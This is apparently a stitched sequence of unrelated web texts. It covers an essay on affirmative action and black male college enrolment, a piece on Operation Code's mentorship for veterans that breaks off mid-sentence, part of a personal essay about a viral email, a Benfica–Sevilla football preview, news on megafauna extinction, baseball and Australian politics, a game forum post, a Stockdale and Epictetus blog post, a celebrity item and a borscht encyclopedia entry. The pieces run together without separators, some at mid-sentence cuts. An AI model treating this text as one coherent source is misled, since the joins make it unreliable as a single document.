But why should private institutions and their leaders continue to carry the banner of affirmative action? The answer resides in the cultural and historical environment in which many of those schools were founded and in the separation from the world around them that they chose upon that founding. Many of them (Quaker, Roman Catholic, Methodist, and Presbyterian) grew out of deep religious or spiritual conviction; others were quickened by imperatives arising from the dreams of ambitious founders, such as Leland Stanford, John D. Rockefeller, and Ezra Cornell. Several of them—the Ivy League schools, Stanford, Duke, Rice, Chicago—are now among the most prestigious (and wealthiest) academies in the nation. Self-directed, they owe much of their success to the individual aspirations they have championed and cultivated. For schools with such histories, the appeal of marching to a drummer not put into position by the state will always prove attractive. To them, I believe, we must look not only to preserve the civic value of affirmative action, but to redeem it in the eyes of the nation.
But they are and will continue to be playing against the odds. While they can be comforted by their origins—secular or religious, but always independent—they will have to live with the fact that the public at large has an ever-declining interest in the central buttress for affirmative action: the model commonwealth. But for those living on campuses where different moral concerns resound, the formation and protection of that commonwealth has been an abiding goal, decade after decade. In response to those moral concerns, the private institutions must act, explicitly and publicly; their policies of recruitment and admission should be intentional, painstaking, and undertaken proudly.
Just how determined and tenacious will they have to be? Courageously so, for all of the reasons I have given. Moreover, they must be especially attentive to one particular chapter of American history—a distressing one—as it has unfolded in this country. That chapter, about African-American males, reveals just how difficult the future of affirmative action will be. The dwindling population of African-American males on college campuses over the last four decades marks the most stunning failure in sustaining the model commonwealth. It also illuminates how limited universities and colleges are in what they can do, even if unconstrained by courts and public opinion.
While the proportion of black students on American college and university campuses, both public and private, rose from 9 percent in 1976 to 13 percent in 2004 (with blacks continuing to represent about 12 percent of the national population), the proportion who were men was the same in 2002—4.3 percent—as it was in 1976. Thirty years ago, 43 percent of undergraduate degrees conferred on African Americans were won by males, but by 2002/2003 that percentage had dropped to 33 percent. Black women, however, continued an ascendancy uninterrupted for years. According to the Joint Center for Political and Economic Studies, black men represented 7.9 percent of the 18- to 24-year-olds in the U.S. population in 2000, but they constituted just 2.8 percent of undergraduate enrollments in 50 of the best public universities in the nation in 2004. In each of the 30 flagship universities, fewer than 500 black male undergraduates were enrolled that year.
Even after being enrolled, less than half of all black male students who start college at a four-year institution graduate in six years or less, a rate more than 20 percentage points lower than the white graduation rate. That is not good news: it is the lowest college completion rate among all racial groups for both sexes. Perhaps most striking about these discouraging figures is that many black male students at some of the best institutions would likely not be enrolled at all if they were not athletes. The same Joint Center study reveals that more than one out of every five black men at 21 flagship public institutions was a student athlete in 2004. At 42 of these universities, more than one out of every three football players was black. At 38 of those schools, 50 percent or more of the basketball team was made up of black men. A dispiriting way of putting this is to say that, without their presence on many campuses to field teams in basketball and football, black males would barely exist in the model commonwealth. One goal of affirmative action, then, a campus fully representative of the diversity of the nation, can be achieved only when black males are present as students in proportion to their presence in the nation as a whole, and not just as athletes who also happen to be students.
If African-American males are underrepresented in colleges or universities, they are overrepresented in federal, state, and county prisons, jails, and juvenile detention facilities. About one in three black men will go to prison in his lifetime, compared to one in 17 white males. One in three black men between the ages of 20 and 29 already lives under some form of correctional supervision or control. The Bureau of Justice Statistics reports that some 186,000 black males between the ages of 18 and 24 were behind bars in federal and state prisons and local jails in 2005.
No amount of affirmative action, at either private or public colleges and universities, will free these men from jail. Nor will affirmative action be able to reach into the homes, neighborhoods, and schools to rectify the distressing situations—poverty, drugs, families customarily without either husband or father—that once served such men, and will now serve others, so badly. Nothing that colleges and universities can do will be enough to rewrite the history of racial inequality that has, for decade after decade, poisoned this nation’s history. Black men in prison are a function of that poisonous history, and affirmative action is a societal antidote to this and other existing effects of racism. We must not forget that history. History matters.
Private universities and colleges now stand at the center of this national drama. The burden upon them is great, and so is the weight of energetically sustaining the ideal of a model commonwealth. Nothing less than the essential civic and moral meaning of these schools is at stake. They must, because they can, act in ways that public institutions of higher learning now seem precluded from doing. The way forward since 1964 has been difficult; the way forward from 2010 will be even harder. But this difficulty can be eased just as so many American problems have been eased in the past: with a combination of individual desire and private money. This approach can make the process of admission thorough, detailed, and vigilant in recognizing promise in the lives of the next generation of American young people.After leaving the military, Army Captain David Molina knew he wanted to go into software development. As Molina did research on the field, he found himself overwhelmed by the vast amount of information and choices. For example: What coding language is the right one to learn? What language is the most valuable for being competitive in the job market? To add to the confusion, there are a myriad of for-profit code schools that are proliferating at an exponential rate, and each one advertises career outcomes for a fraction of the cost of a four-year computer science degree. Where could he turn for guidance on how to enter the tech industry?
In 2016, Operation Code grew by more than 1,300 members.
Determined to solve this problem, David started building Operation Code in 2014, to act as a lighthouse for other veterans in the same situation. Today, Operation Code is a full-fledged 501(c)(3) non-profit organization, and our mission is to enable new career paths in software development for military veterans and their families. In 2016, Operation Code grew by more than 1,300 members. So far in 2017, Operation Code is on track to grow by more than 3,100, which is a more than 137% increase, year over year.
The core idea behind Operation Code has always been the pairing of experienced IT professionals with veterans at all levels in their IT careers. With Operation Code's member base consisting of everyone from those still on active duty, to military spouses, to veterans who have been retired for years, how does our all-volunteer staff make sure the organization services all of its members' needs? Given the diverse population of our members, at such different stages in their careers, with such a wide variety of goals, the answer is: It's not easy.
The Department of Veterans Affairs estimates 250,000 service members leave active duty every year, with IT as the number one industry that employs veterans. In 2016, the code school market grew to 91 full-time schools and has graduated more than 17,000 students. The intersection of these two large populations is the target of Operation Code's mentorship program. To take on this demanding challenge, we've designed our mentorship program around three different components. Our first two components—Mentor Services and Operation Code Squads—are based on the training aspects of mentorship and are short-term in nature. The last—one-on-one mentorship—is a long-term mentorship program. Let's look at an example member, Sam, to illustrate how Operation Code's mentorship program works.
Sam will leave active duty in a few months and is looking for a career change. She is interested in programming, and after searching for information online, discovers a list of code schools on operationcode.org that are approved to use her GI bill.
Mentor Services
Upon joining Operation Code, Sam is greeted by a friendly bot that gives her basic information on different programs available for transitioning military members, and a list of core programming terms and coding languages. Feeling a bit lost, Sam looks into our mentorship program and comes across our first program: Mentor Services. Mentor Services are single appointments our new members can make with one of our more than 100 mentors. Mentor Services cover five basic areas:
general guidance pair programming code review resume review mock interviews
Not knowing where to begin, Sam signs up for general guidance. A mentor meets with Sam and chats over Instant Message (IM), phone, or video about her goals, and works to set her in the right direction. Sam determines she's interested in Ruby web development. Our mentor gives her resources to review, and Sam begins the long journey that is learning to program.
The pair programming service provides members one-on-one assistance with a mentor.
As Sam progresses through tutorials, code puzzles and small projects, she begins to feel lost. Things are becoming more complex and she is unsure of the best way to structure her code. At this point she reaches back to our Mentor Services program and submits a request for pair programming. The pair programming service provides members one-on-one assistance with a mentor. She's able to share her screen and get real-time advice, critiques, and support.
A few weeks go by and Sam is now ready to submit her first pull request to an open source project. She's feeling a little nervous and unsure whether her change is correct. Once again Operation Code has her fix. A little more asynchronous than the Operation Code pair programming service, the code review service provides new members with an experienced programmer to look over their commits, giving them the confidence needed to make their first pull request.
Sam is quickly becoming a seasoned programmer. She's able to complete basic tasks but is quickly getting bored with writing simple F |
difference between controlled risk (skydiving) and blind risk. That email was blind risk. It was an error of judgment. I accept this. I made a mistake. To my employer and especially the innocent people caught up in this mess through photos and rumours, I apologise from the bottom of my heart.
I was simply standing my ground for the deeply traumatic process I have gone through. I took matters into my own hands, the "old" me would not have. My territory had been stepped on for the last time.
The uproar this caused astounded me. Certain pockets of society have been carrying on like I committed murder. I sent an email.
The fact I wrote that email so honestly was why it propelled to the level it did. That and I had a "captive audience" in Canberra to generate the buzz. It certainly unblocked the "emotional constipation" in this town. This emotional constipation is society-wide, not Canberra specific. This is not another invitation to bash the ACT. It gets rubbished enough.
Despite any perceived embarrassment in the media, life really has been no different for me. Not one person has sniggered and laughed at me in a mean way. I have a high degree of anonymity due to my appearance having changed.
My friends absolutely admire me. I'm a hero to them: a "Love God" a "Rebel for Love", "Love Guru", "Office Romeo", "Love Jedi" etc.
My name generates an instant reaction when mentioned. Girls look at me differently. I may not have got "Juliet" (if you believe the media spin) but this thing exploding viral has had massive positive spin-offs. I have inspired people.
My dad is going to have more of a dip at life. My aunty has said: "Maybe there is something to this counselling thing."
My story is not about "Romeo & Juliet", it is about every kid being bullied in the school yard. It is about teenage kids committing suicide because they feel worthless.
It is about people dealing with disability; those who cannot communicate their suffering and the families that care for these people tirelessly.
It is about telling peer pressure to go f--- itself. It's childish behaviour and it impacts our adult lives in ways we don't see.
It is about gender stereotypes (both of them) and social conditioning. It is about mental health and getting help if needed.
It is about telling people what they mean to us while life is good. Not when a personal crisis hits. Tomorrow isn't a guarantee for any of us.
It is about standing up to society and illustrating that it has lost its way. We live in a culture of fear. Society had dimmed my spirit for long enough.
I didn't expect to get in the news, Sam, but the fact is I have. This has been my journey. I have dealt with all of these elements. I have endured this and come out the other side.
I'm telling my side to stop the bullshit and telling disadvantaged people: "You can win. I am proof of this. But you must have a go to give yourself a fighting chance at a happy life."
There are no shortcuts. Happiness is not handed to you. Capability is developed by simply having a go. If you're "outcome orientated" you won't do the things you really want. If you believe in something enough, go and get it in the right way.
I went to a party last weekend. I spoke about some of the deeper meaning behind my email with my disability to a friend. His answer: "That email has put you back to where you should have been."
THE ALTRUIST
If you're looking for a different type of Christmas present that helps a good cause, you might want to consider contributing to finishing a documentary about Cambodian street children, titled The Altruist.
You can do this by purchasing one of these signed prints of Cambodia, with the proceeds going to fund the post-production of the film.
For more information, go here and watch the trailer. You can also donate outright, if you like.
If you'd like to email Sam with a topic suggestion or just vent, try here. If you're interested in seeing him embarrass himself in more than one medium, you can follow him on Twitter here.In Turin on Wednesday night, Jorge Jesus will try to defy Bela Guttmann's 1962 prediction that the Portuguese club would not win a European trophy for the next 100 years
If last season's Europa League was won by reluctant champions, the same will certainly not be said on Wednesday evening. The celebrations of Benfica and Sevilla following their semi-final victories were two of the most impassioned displays of emotion in the competition's recent history, jubilation clear within the two sets of players who meet in Turin under the watch of ghosts from glories past.
Sevilla's first full season under Unai Emery began disastrously but has turned into a significant success, the Andalusian club on course for a fifth-place finish in La Liga despite sitting bottom after five matches. Two hundred miles across Iberia and Benfica have the chance to secure a clean sweep of silverware in a campaign for the Portuguese club that will be forever remembered for the passing of Eusébio as well as the trophy haul.
Europe's premiere club tournament does not roll into Lisbon for another week and a half but for the red half of the city the Champions League can wait. Now, following a remarkable year under Jorge Jesus, they have another opportunity to defy the curse of Bela Guttmann, who allegedly vowed with Mercutio-esque foresight when acrimoniously leaving Benfica in 1962 that they would not win a European trophy for the next 100 years.
Guttmann's imprecation has haunted Benfica ever since he departed. After winning the European Cup twice during the Hungarian's reign, Benfica have lost seven finals in the last 52 years, most recently falling to Rafael Benítez's Chelsea in Amsterdam, when Branislav Ivanovic's late effort broke Eagles hearts. Eusébio once prayed at Guttmann's grave in Vienna in an attempt to lift the curse, yet to this day a major European title has evaded them.
Benfica, though, may not have a better chance to end the barren run for some time. Jesus, who has been strongly linked with a move away from the club this summer, has already seen his team wrap up the Portuguese title by a seven-point margin, also adding the League Cup to their trophy cabinet, with the Portuguese Cup final to come against Rio Ave.
They will be without suspended duo Eduardo Salvio and Enzo Pérez against Sevilla, while Silvio is out with a knee injury and Ljubomir Fejsa a doubt with a foot problem. Benfica have a solid central defensive partnership of Luisão and Ezequiel Garay and ample attacking talents including Nicolás Gaitán and Lazar Markovic, although the latter could miss the final through suspension, with Uefa set to make a late decision on whether to allow him to play following a yellow card received post-match in the semi-final win over Juventus.
"We're stronger than last year but that doesn't give us an edge over Sevilla," said Jesus. "We've been working on this project for five years, we have become stronger and our work has been rewarded. We know Sevilla are a strong opponent, they have great history in this competition.
"When you're prepared for a final, which is the case this year because we were in the final last year, you feel more secure. It doesn't create great difficulties at an emotional level, the more decisive moments you go through the more confidence you have."
Emery and Sevilla have been on a journey of their own, catapulted into the final in dramatic circumstances following Stéphane Mbia's header in the fourth minute of injury time against Valencia. Mbia, on loan from QPR, sent Sevilla into dreamland at the Mestalla as Emery raced down the touchline he once prowled as the home manager.
Sevilla, who won the Europa League in 2006 and 2007 under Juande Ramos, will be without the suspended Jairo Samperio, while Denis Cheryshev and Sebastián Cristóforo are injured and Vitolo is struggling with a hamstring problem.
Their hopes rest largely on the Croatia midfielder Ivan Rakitic, a man who has embraced the city's identity during his time there since 2011 and who has been linked with a summer move to Real Madrid. Sevilla have other players who can hurt Benfica, including Kevin Gameiro and the 27-year-old striker Carlos Bacca, who was a bus conductor before turning professional aged 23, but Rakitic is the key man.
Emery said: "It is just another stage in the process. It is a dream to be here, now we have to enjoy it. We have to enjoy this moment, everyone is hoping for a positive result for the work we have put in this season. It will be wonderful to finish the season with a trophy, but just being here is fantastic, it's been a long journey."Scientists from around the world are calling for increased efforts to protect many of the Earth’s largest and most enchanting species before humanity wipes them out.
In an open letter published Wednesday in the journal BioScience, 43 wildlife researchers warn of a bleak future where elephants, gorillas and nearly a hundred lesser-known species could disappear from the planet without urgent intervention.
“Under a business-as-usual scenario, conservation scientists will soon be busy writing obituaries for species and subspecies of megafauna as they vanish from the planet,” write the authors, from groups including the Wildlife Conservation Society, Zoological Society of London and Panthera.
Nearly two-thirds of the world’s largest herbivores and carnivores are classified as threatened with extinction by the International Union for the Conservation of Nature, which tracks such threats.
But few have garnered any significant attention, said William Ripple, a professor at Oregon State University and the lead author of the letter. Species like the African wild ass and the banteng are suffering alongside the enigmatic rhino and Siberian tiger.
“Extinction is forever,” he said. “For some species, it’s going to be too late if we don’t act soon. You can go down the list; especially among the herbivores, these animals are in obscure tropical locations where people all over don’t know about them.”
Credit: Varun R. Goswami An Indian wild water buffalo, listed as endangered. The total world population of wild water buffalo is almost certainly fewer than 4,000 animals and could be fewer than 200.
The letter, which Ripple referred to as both a manifesto and a call-to-arms, paints a stark picture about the ongoing trials wildlife face. Humans have hunted, poisoned, eaten and shot many species into near-extinction. Some, like the western black rhino and Vietnamese subspecies of the Javan rhino, have already vanished.
Ripple and the letter’s co-signers drafted a 13-point declaration. Part of it calls on rich nations to shoulder a large burden of future protection efforts were humanity to successfully avert future extinctions. Regions like sub-Saharan Africa and Southeast Asia, which hold the bulk of large wildlife, often lack the budget to conduct such efforts by themselves.
“The onus is on developed countries,” they write. “For conservation efforts to be successful, actions should be taken at all levels by authorities who have the public interest in mind.”
Credit: Halska Hrabar Threatened mountain zebras are at risk from threats including agriculture and hunting.
“I personally think that the governments in the rich countries should bear a lot of the cost,” Ripple said. “We are not even close to the amount of funding for the conservation of these animals and the research needed to describe their situation.”
The authors hope such a declaration, a relatively uncommon move in the scientific community, will help raise awareness about the ongoing plight of the planet’s wildlife. Ripple said such a serious issue “needs to be a priority” that spans beyond a lone moment of outrage over a dead lion or giraffe.LAKE BUENA VISTA, Fla. - The Orioles were among nine teams making selections in the major league phase of this morning’s Rule 5 draft, taking third baseman Michael Almanzar off Triple-A Pawtucket’s roster.
Almanzar, 23, batted.268/.328/.432 last season at Double-A Portland of the Red Sox’s organization, with 29 doubles, 16 homers, 81 RBIs and 13 stolen bases in 131 games. He’s a career.250/.302/.373 hitter in six minor league seasons.
Almanzar, a right-handed hitter from the Dominican Republic, also plays first base. The Red Sox signed him as a non-drafted free agent in 2007.
Almanzar’s father, Carlos, pitched in the majors from 1997-2005.
The Orioles passed in the second round. They have 39 players on their 40-man roster.
None of the Orioles’ eligible players were chosen in the major league phase of the Rule 5 draft.
Update: In the Triple-A phase of the draft, the Orioles selected outfielder Julio Borbon off the Double-A Tennessee roster in the Cubs organization. He was a supplemental first-round pick (35th overall) by the Rangers in the 2007 First-Year Player Draft.
Borbon has interested the Orioles in the past. He’s a career.272/.318/.347 hitter in parts of four major league seasons and played for the Rangers in the 2010 World Series.
Borbon appeared in 72 games with the Cubs this season, batting.202/.284/.279. He doesn’t have to stay on the Orioles roster all season, since he was chosen in the Triple-A phase.
Borbon batted.260/.360/.329 in 24 games at Triple-A Iowa.
The Orioles passed on their selection in the Double-A phase of the draft. They didn’t lose a single player in any phase of the Rule 5.MP says he is at a loss to know why Malcolm Turnbull would proceed with legislation on building watchdog given it has no hope of clearing the Senate
Bob Katter warns PM not to 'antagonise' him by proceeding with ABCC bill
Crossbench kingmaker Bob Katter has warned the prime minister not to “antagonise” him by proceeding with legislation to restore the Australian Building and Construction Commission, which was a trigger for the recent double dissolution election.
Katter recently agreed to give the Coalition confidence and supply in the new parliament provided various conditions were met, including significant infrastructure spending in northern Australia, and no “union bashing”.
Katter declined to say whether or not he would go as far as revoking his recent confidence and supply agreement if Malcolm Turnbull proceeded with the ABCC legislation, but he said he was at a loss to know why the prime minister would proceed with the proposal given it had no hope of clearing the Senate.
Bob Katter raises funding for Galilee basin railway in talks with Turnbull Read more
“Clearly this is going to antagonise me,” Katter told Guardian Australia on Friday. “This was introduced by an extreme faction within the Liberal party and I do not know why the government will proceed in a highly controversial area such as this when you still have no hope getting through Senate.”
“The ABCC legislation contains the removal of the right to remain silent. It also contains powers for the government to apprehend without reasonable cause to suspect.”
The Coalition has emerged from the election with a wafer-thin majority in the House of Representatives.
The latest count has the Coalition on 76 seats. If the government takes the Queensland seat of Herbert – which is currently the subject of a recount, given Labor pulled ahead by a tiny handful of votes – it will get to 77 seats.
Katter’s agreement with Turnbull is not as vital as it would have been in the event the prime minister was forced to form a minority government, but the fine balance in the new parliament means Turnbull doesn’t have much latitude to antagonise anyone in the chamber.
His own backbenchers are already flexing their muscle internally. One LNP backbencher, George Christensen, has signalled his preparedness to vote against the Coalition’s superannuation policy if it isn’t amended.
If Christensen made good on his threat, under the status quo, after the Speaker is chosen, this would mean the government would have to rely on an independent or minor party MP to get the superannuation legislation through the House.
Katter was supported in the recent election by trade unions, and he has been a consistent supporter of unions throughout his political career.
The ACTU secretary, Dave Oliver, told Guardian Australia his expectation was Katter would stand up for the rights of workers in the new parliament.
“One thing that Bob Katter is renowned for is being a man of his word,” Oliver said. “We know he has always stood up for workers throughout his career – on industry policy, manufacturing and worker safety in particular.”
“Bob has a strong track record that I fully expect he’ll continue to add to in this parliament.”What's the point now? Mods have made raiding obsolete.
I ran teebo, fives, QGJ, Rey, EE
Fully modded with 5* mods
The pigs took a grand total of 0 turns.
The rancor took a grand total of 6 turns.
Those 6 turns? Him getting up after the three doors were brought down.
Edited: took me 45 minutes to finish it.
I also managed to solo p1 on auto in a different attempt
This mod situation is out of hand.
My Rey currently sits wit 60k health and her second special can hit for 100k
Basic crits are 35k
What's the point of anything?
I've sat rank 1 for 17 hours now
My sth has 80k
My old Ben crits for 15-20k
Phasma crits for 20k
QGJ crits for 15-20k
And Rey as I mentioned above.
Leader and co-founder of BHGAdmiral James Stockdale Epictetus
In the last few days I have written about each of the three major Stoic philosophers: Seneca, Marcus Aurelius, and Epictetus. The Stoics claim that their philosophy has practical applications, and the story of James Stockdale attests to that power. While a student at Stanford, Stockdale had studied Epictetus’ Enchiridion assiduously. He would soon find out the value of those studies.
James Bond Stockdale (1923 – 2005) was a United States Navy vice-admiral and one of the most highly decorated officers in the history of the U.S. Navy. His plane was shot down over Vietnam in 1965, and he was held as a prisoner of war for seven and a half years. During his captivity he spent more than four years in solitary confinement and was repeatedly tortured—his shoulders torn from their sockets, his back broken, his legs crushed. He walked with a limp and endured much pain for the rest of his life. Stockdale wrote multiple books about detailing how the philosophy of Epictetus was the key to his survival in captivity. Those works include:
Courage Under Fire: Testing Epictetus’s Doctrines in a Laboratory of Human Behavior
A Vietnam Experience: Ten Years of Reflection
Thoughts of a Philosophical Fighter Pilot
In Love and War: The Story of a Family’s Ordeal and Sacrifice During the Vietnam Years
What Stockdale learned from Epictetus was that happiness demands that we differentiate between what is, and is not within our control. Yes, we should try to influence fate, but we can’t control it. So when fate strikes, the measure of a person is their reaction to fate. (This is reminiscent of Victor Frankl‘s claim that we find meaning through our response to life—for more see Man’s Search for Meaning.) In short, we can either accept what we can’t change or be miserable. Epictetus, like Stockdale, tells us to do the former.
He also learned the importance of seeing bad things as providing a chance to act virtuously, instead of thinking of freedom and happiness as getting and doing whatever we want. As Epictetus says, “Do not ask things to happen as you wish, but wish them to happen as they do happen, and your life will go smoothly.”
In 1993, in a speech delivered at the Great Hall, King’s College, London, Monday, Stockdale described his thoughts immediately after his plane was hit:
After ejection … I whispered to myself: I’m leaving the world of technology and entering the world of Epictetus … as I ejected from that airplane was the understanding that a Stoic always kept separate files in his mind for (A) those things that are “up to him” and (B) those things that are “not up to him.” Another way of saying it is (A) those things that are “within his power” and (B) those things that are “beyond his power.” Still another way of saying it is (A) those things that are within the grasp of “his Will, his Free Will” and (B) those things that are beyond it. All in category B are “external,” beyond my control, ultimately dooming me to fear and anxiety if I covet them. All in category A are up to me, within my power, within my will, and properly subjects for my total concern and involvement. They include my opinions, my aims, my aversions, my own grief, my own joy, my judgments, my attitude about what is going on, my own good, and my own evil.
Stockdale explained good and evil by quoting Alexander Solzhenitsyn, who spent years in Soviet gulags:
It was only when I lay there on the rotting prison straw that I sensed within myself the first stirrings of good. Gradually it was disclosed to me that the line separating good and evil passes not between states nor between classes nor between political parties, but right through every human heart, through all human hearts.
Stockdale made the same point this way: “… good and evil are not just abstractions you kick around and give lectures about and attribute to this person and that. The only good and evil that means anything is right in your own heart, within your will, within your power, where it’s up to you.” Or as Epictetus puts it in Chapter 32 of the Enchiridion, “Things that are not within our own power, not without our Will, can by no means be either good or evil.”
Stockdale concluded his moving speech with a story about a note from a fellow prisoner that he received during his long ordeal.
Back in my cell, after the guard locked the door, I sat on my toilet bucket–-–where I could stealthily jettison the note if the peephole cover moved–-–and unfolded Hatcher’s sheet of low-grade paper toweling on which, with a rat dropping, he had printed, without comment or signature, the last verse of Ernest Henley’s poem Invictus:
It matters not how strait the gate,
How charged with punishment the scroll,
I am the master of my fate:
I am the captain of my soul.Cloris Leachman, 82, Hangs Up Her Dancing Shoes (Photo Gallery)
, 82 year old comedian and actress, has been the bell of the ball on this season's Dancing with the Stars, but she has reached the end of the line. Leachman, always going for the laugh, allowed herself to be dragged all over the dance floor by her professional partner, who is considered a Saint by many for his good natured efforts.
Leachman resonated with her voting public who continued to bring her back as other talented celebrities bit the dust. There were rumors that soap star Susan Lucci was furious when Toni Braxton got the boot while Cloris remained a viable contestant. Even judge Carrie Ann Inaba was vocal about that twist of fate.
Whether you agreed with her overlong stay on the program, she was amazing in her comedic shtick that provided some great ratings for the show. It appears it will be all about dancing from here on out.
Thanks for a great ride Cloris. You Rock!
Check out our photo gallery below.
More Cloris Leachman photos here."Borsch", "Borshch", and "Borsht" redirect here. For other uses, see Borsch (disambiguation)
smetana (sour cream) A bowl of borscht garnished with dill and a dollop of(sour cream) Alternative names Borsch, borshch, borsht, bortsch Type Soup Place of origin Ukraine Associated national cuisine Various Eastern European cuisines Cooking time hours to 6 hours Serving temperature Hot or cold Main ingredients Beetroot Variations Green borscht,
white borscht
Borscht ( English: ()) is a sour soup common in Eastern Europe and across Russia. The variety most often associated with the name in English is of Ukrainian origin, and includes beetroots as one of the main ingredients, which gives the dish its distinctive red color. It shares the name, however, with a wide selection of sour-tasting soups without beetroots, such as sorrel-based green borscht, rye-based white borscht and cabbage borscht.
Borscht derives from an ancient soup originally cooked from pickled stems, leaves and umbels of common hogweed (Heracleum sphondylium), a herbaceous plant growing in damp meadows, which lent the dish its Slavic name. With time, it evolved into a diverse array of tart soups, among which the beet-based red borscht has become the most popular. It is typically made by combining meat or bone stock with sautéed vegetables, which – as well as beetroots – usually include cabbage, carrots, onions, potatoes and tomatoes. Depending on the recipe, borscht may include meat or fish, or be purely vegetarian; it may be served either hot or cold; and it may range from a hearty one-pot meal to a clear broth or a smooth drink. It is often served with smetana or sour cream, hard-boiled eggs or potatoes, but there exists an ample choice of more involved garnishes and side dishes, such as uszka or pampushky, that can be served with the soup.
Its popularity has spread throughout Eastern Europe and the former Russian Empire, and – by way of migration – to other continents. In North America, borscht is often linked with either Jews or Mennonites, the groups who first brought it there from Europe. Several ethnic groups claim borscht, in its various local guises, as their own national dish consumed as part of ritual meals within Eastern Orthodox, Greek Catholic, Roman Catholic, and Jewish religious traditions.
Etymology [ edit ]
The English word borscht, also spelled borsch, borsht, or bortsch, comes from Yiddish באָרשט (borsht). The latter derives from the word борщ (borshch), which is common to East Slavic languages, such as Ukrainian or Russian.
Together with cognates in other Slavic languages,[a] it comes from Proto-Slavic *bŭrščǐ 'hogweed' and ultimately from Proto-Indo-European *bhr̥sti- < *bhares-/bhores- 'point, stubble'. Common hogweed (Heracleum sphondylium) was the soup's principal ingredient before it was replaced with other vegetables, notably beetroot. The beetroot borscht was invented in what is now Ukraine and first popularized in North America by Yiddish-speaking Ashkenazi Jews from Eastern Europe.
Ingredients and preparation [ edit ]
Typical Ukrainian borscht is traditionally made from meat or bone stock, sautéed vegetables, and beet sour (i.e., fermented beetroot juice). Depending on the recipe, some of these components may be omitted or substituted for.
Borscht ingredients may include beef, pork, lard, beetroots, cabbage, carrots, celeriac, onions, potatoes, mushrooms, tomato paste, parsley, chives, dill, bay leaves, allspice and black pepper.
The stock is typically made by boiling meat, bones, or both. Beef, pork or a combination of both are most commonly used, with brisket, ribs, shank and chuck considered to give the most flavorful results, especially if cooked on a high flame. Marrow bones are considered best for the bone stock. Meat stock is usually cooked for about two hours, whereas bone stock takes four to six hours to prepare. Meat and bones are usually removed afterwards and the meat is only added back into the soup about 10–15 minutes before the borscht is done. Some recipes call for smoked meats, resulting in a distinctively smoky borscht, while others use poultry or mutton stock. Fasting varieties are typically made with fish stock to avoid the use of meat, while purely vegetarian recipes often substitute forest mushroom broth for the stock.
Borscht cooked in a clay pot inside a Russian oven in the Poltava region in central Ukraine
The vegetables most commonly added to borscht are beetroots, white cabbage, carrots, parsley root, potatoes, onions and tomatoes. Some recipes may also call for beans, tart apples, turnip, celeriac, zucchini or bell peppers. Parsnip may be used as a substitute for parsley root, and tomato paste is often used as well as or instead of fresh tomatoes. The traditional technique of preparing the soup is to precook the vegetables – by sautéing, braising, boiling or baking – separately from the meat and only then to combine them with the stock. This distinctive feature of borscht derives from the practice of slow cooking in the Russian oven (traditional masonry stove, used for both cooking and heating), wherein the differences in cooking times of individual ingredients had to be taken into account in order to ensure that all components reach doneness at the same time. The importance of this method is reflected in the Russian language, where a variant in which all vegetables are added raw directly into the stock is referred to by the diminutive form borshchok[b] rather than borshch. Vegetables are usually julienned, except for potatoes and zucchini, which are diced. The beetroots may be partially baked before being sprinkled with vinegar or lemon juice to preserve the color and braised separately from other vegetables. Onions, carrots, parsley root, turnip and other root vegetables are sautéed (traditionally in animal fat, especially lard or butter) and then mixed with tomatoes or tomato paste. Dry beans are boiled separately. Potatoes and cabbage are boiled in the stock for about 15 minutes before the precooked vegetables are added.
Ukrainian borscht with beans
The dominant tastes in borscht are sweet and sour. This combination is traditionally obtained by adding beet sour. It is made by covering sliced beetroots with lukewarm preboiled water and allowing bacteria to ferment some of the sugars present in beetroots into dextran (which gives the liquid a slightly viscous consistency), mannitol, acetic acid and lactic acid. Stale rye bread is often added to hasten the process, but usually omitted in Jewish recipes, as chametz (leavened bread) would make the sour unfit for Passover meals. Sugar, salt and lemon juice may be also added to balance the flavor. After about 2–5 days (or 2–3 weeks without the bread), the deep red, sweet and sour liquid may be strained and is ready to use. It is added to borscht shortly before the soup is done, as prolonged boiling would cause the tart flavor to dissipate. The beet sour is known in Slavic languages as kvas[c] (literally'sour, acid'; compare kvass) and in Yiddish as rosl[d] (from a Slavic word originally referring to any brine obtained by steeping salted meat or vegetables in water; compare Russian rassol[e] 'pickle juice', Polish rosół 'broth'). Apart from its employment in borscht, it may be also added to prepared horseradish or used as pot roast marinade.
As the traditional method of making borscht with beet sour often requires planning at least several days ahead, many recipes for quicker borscht replace the beet sour with fresh beetroot juice, while the sour taste is imparted by other ingredients, such as vinegar, lemon juice or citric acid, tomatoes, tart apples, dry red wine, dill pickle juice, sauerkraut juice, or a fermented rye flour and water mixture. The soup is typically flavored with a wide selection of herbs, spices and condiments. Salt, black pepper, garlic, bay leaves and dill are among the most commonly used. Other aromatics often added to borscht include allspice, celery stalks, parsley, marjoram, hot peppers, saffron, horseradish, ginger and prunes. Some recipes require flour or roux to further thicken the borscht. A common opinion is that a good borscht should be thick enough for a spoon to stand upright in it.
Varieties [ edit ]
halushky Poltava borscht with
As the home country of beetroot borscht, Ukraine boasts great diversity of the soup's regional variants, with virtually every province having its own recipe. Differences between particular varieties may regard the type of stock used (meat, bone, or both), the kind of meat (beef, pork, poultry, etc.), the choice of vegetables and the method of cutting and cooking them. For example, although the typical recipe calls for beef and pork, the Kiev variant uses mutton or lamb as well as beef, while in the Poltava region, the stock for borscht is cooked on poultry meat, that is, chicken, duck or goose. The use of zucchini, beans and apples is characteristic of the Chernihiv borscht; in this variant, beetroots are sautéed in vegetable oil rather than lard, and the sour taste comes solely from tomatoes and tart apples. The Lviv borscht is based on bone stock and is served with chunks of Vienna sausages.
Many regional recipes for borscht have also developed in Russian cuisine. Examples include the Moscow borscht, served with pieces of beef, ham and Vienna sausages; Siberian borscht with meatballs; and Pskov borscht with dried smelt from the local lakes. Other unique Russian variants include a monastic Lenten borscht with marinated kelp instead of cabbage and the Russian Navy borscht (flotsky borshch[f]), the defining characteristic of which is that the vegetables are cut into square or diamond-shaped chunks rather than julienned.
uszka, or ear-shaped mushroom-filled dumplings Polish clear Christmas Eve borscht served over, or ear-shaped mushroom-filled dumplings
